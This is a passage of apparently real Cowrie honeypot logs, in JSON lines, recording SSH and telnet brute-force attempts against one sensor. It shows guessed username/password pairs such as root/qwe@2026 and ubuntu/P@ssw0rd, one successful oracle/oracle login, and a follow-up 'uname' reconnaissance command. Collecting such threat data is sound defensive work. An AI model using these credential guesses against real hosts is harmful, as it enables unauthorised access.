f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:28.125144Z","src_ip":"83.111.76.195","session":"ca3946ff09b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@2026","message":"login attempt [root/qwe@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:28.963328Z","src_ip":"83.111.76.195","session":"ca3946ff09b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56828,"dst_ip":"159.203.135.109","dst_port":22,"session":"61aab88eb97b","protocol":"ssh","message":"New connection: 45.156.87.204:56828 (159.203.135.109:22) [session: 61aab88eb97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:29.487522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:29.492672Z","src_ip":"45.156.87.204","session":"61aab88eb97b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:29.574828Z","src_ip":"45.156.87.204","session":"61aab88eb97b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:29.951030Z","src_ip":"45.156.87.204","session":"61aab88eb97b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:30.166903Z","src_ip":"83.111.76.195","session":"ca3946ff09b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:31.036328Z","src_ip":"45.156.87.204","session":"61aab88eb97b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37102,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f5ded81c173","protocol":"telnet","message":"New connection: 152.42.224.71:37102 (10.17.0.5:23) [session: 9f5ded81c173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:31.228384Z"}
{"eventid":"cowrie.session.closed","duration":40.21420884132385,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:31.582924Z","src_ip":"152.42.224.71","session":"01e47c1babb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.382688999176025,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:32.410124Z","src_ip":"152.42.224.71","session":"ea60224dd042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53862,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c48d62fc5f0","protocol":"ssh","message":"New connection: 45.156.87.204:53862 (159.203.135.109:22) [session: 3c48d62fc5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:33.299311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:33.304798Z","src_ip":"45.156.87.204","session":"3c48d62fc5f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:33.387169Z","src_ip":"45.156.87.204","session":"3c48d62fc5f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:33.633286Z","src_ip":"45.156.87.204","session":"3c48d62fc5f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:34.719062Z","src_ip":"45.156.87.204","session":"3c48d62fc5f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00147414207458,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:35.277332Z","src_ip":"152.42.224.71","session":"82537644f6b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53868,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d3bf136f65","protocol":"ssh","message":"New connection: 45.156.87.204:53868 (159.203.135.109:22) [session: 72d3bf136f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.835670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.840494Z","src_ip":"45.156.87.204","session":"72d3bf136f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.907575845718384,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.917487Z","src_ip":"34.156.127.48","session":"b7c8eea1159b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.535318613052368,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.922333Z","src_ip":"34.156.127.48","session":"62cc03713898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.22507619857788,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.925875Z","src_ip":"34.156.127.48","session":"ea93f18baf0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.383541107177734,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.929027Z","src_ip":"34.156.127.48","session":"c8756fe13b34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.701343059539795,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.931920Z","src_ip":"34.156.127.48","session":"23e2ec11e7b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.85892128944397,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.934680Z","src_ip":"34.156.127.48","session":"17428bb0a443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.020698070526123,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.937821Z","src_ip":"34.156.127.48","session":"5368478a93dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.178068161010742,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.940926Z","src_ip":"34.156.127.48","session":"010f48bfec39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.341375827789307,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.949497Z","src_ip":"34.156.127.48","session":"9fea0c91f28a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.952870Z","src_ip":"45.156.87.204","session":"72d3bf136f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.505597829818726,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.957987Z","src_ip":"34.156.127.48","session":"efbef24cccf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.8180673122406,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.961251Z","src_ip":"34.156.127.48","session":"403ffa796e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.975152015686035,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.964293Z","src_ip":"34.156.127.48","session":"322631c1a096","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.669501543045044,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.967453Z","src_ip":"34.156.127.48","session":"40d884b2d4e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.136667251586914,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.971103Z","src_ip":"34.156.127.48","session":"b1dca771e8c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.29384684562683,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.973908Z","src_ip":"34.156.127.48","session":"02a3b736d5a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.607927560806274,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.976811Z","src_ip":"34.156.127.48","session":"f004f1b9b39f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.84078598022461,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.979743Z","src_ip":"34.156.127.48","session":"f80c83cfd282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.999733924865723,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.983101Z","src_ip":"34.156.127.48","session":"3ee193760904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.158583164215088,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.986163Z","src_ip":"34.156.127.48","session":"d0dfaf4ed4cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.316662549972534,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.989261Z","src_ip":"34.156.127.48","session":"644f486f86a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.475768566131592,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.992435Z","src_ip":"34.156.127.48","session":"2fe7687693d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.635559797286987,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.996063Z","src_ip":"34.156.127.48","session":"3d649ccfd637","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.793086528778076,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:36.999112Z","src_ip":"34.156.127.48","session":"0de1395f9810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.949846029281616,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:37.002429Z","src_ip":"34.156.127.48","session":"7bde9fa9da9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.106767654418945,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:37.005695Z","src_ip":"34.156.127.48","session":"f9f19ef28039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.855936288833618,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:37.023338Z","src_ip":"34.156.127.48","session":"444a568c3086","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:37.273816Z","src_ip":"45.156.87.204","session":"72d3bf136f65","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:37.493737Z","src_ip":"45.156.87.204","session":"72d3bf136f65","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:37.497795Z","src_ip":"45.156.87.204","session":"72d3bf136f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":57574,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a9254705e1d","protocol":"ssh","message":"New connection: 47.237.167.49:57574 (159.203.135.109:22) [session: 1a9254705e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:37.650561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:37.653867Z","src_ip":"47.237.167.49","session":"1a9254705e1d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:37.715027Z","src_ip":"45.156.87.204","session":"72d3bf136f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:37.719902Z","src_ip":"45.156.87.204","session":"72d3bf136f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.7827935218811,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:38.984688Z","src_ip":"152.42.224.71","session":"8df9fb49e93a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53872,"dst_ip":"159.203.135.109","dst_port":22,"session":"2840bdea9d29","protocol":"ssh","message":"New connection: 45.156.87.204:53872 (159.203.135.109:22) [session: 2840bdea9d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:40.321677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:40.327322Z","src_ip":"45.156.87.204","session":"2840bdea9d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:40.414364Z","src_ip":"45.156.87.204","session":"2840bdea9d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:40.949819Z","src_ip":"45.156.87.204","session":"2840bdea9d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:42.035545Z","src_ip":"45.156.87.204","session":"2840bdea9d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.44198250770569,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:42.478584Z","src_ip":"152.42.224.71","session":"e7f90e57e063","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":39542,"dst_ip":"159.203.135.109","dst_port":22,"session":"70a3e98872ed","protocol":"ssh","message":"New connection: 47.237.167.49:39542 (159.203.135.109:22) [session: 70a3e98872ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.043847Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":30432,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa3469d65164","protocol":"ssh","message":"New connection: 94.26.106.229:30432 (159.203.135.109:22) [session: aa3469d65164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.260068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.264270Z","src_ip":"94.26.106.229","session":"aa3469d65164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47088,"dst_ip":"159.203.135.109","dst_port":22,"session":"1abdda81fff3","protocol":"ssh","message":"New connection: 45.156.87.204:47088 (159.203.135.109:22) [session: 1abdda81fff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.272356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:44.276743Z","src_ip":"45.156.87.204","session":"1abdda81fff3","protocol":"ssh"}
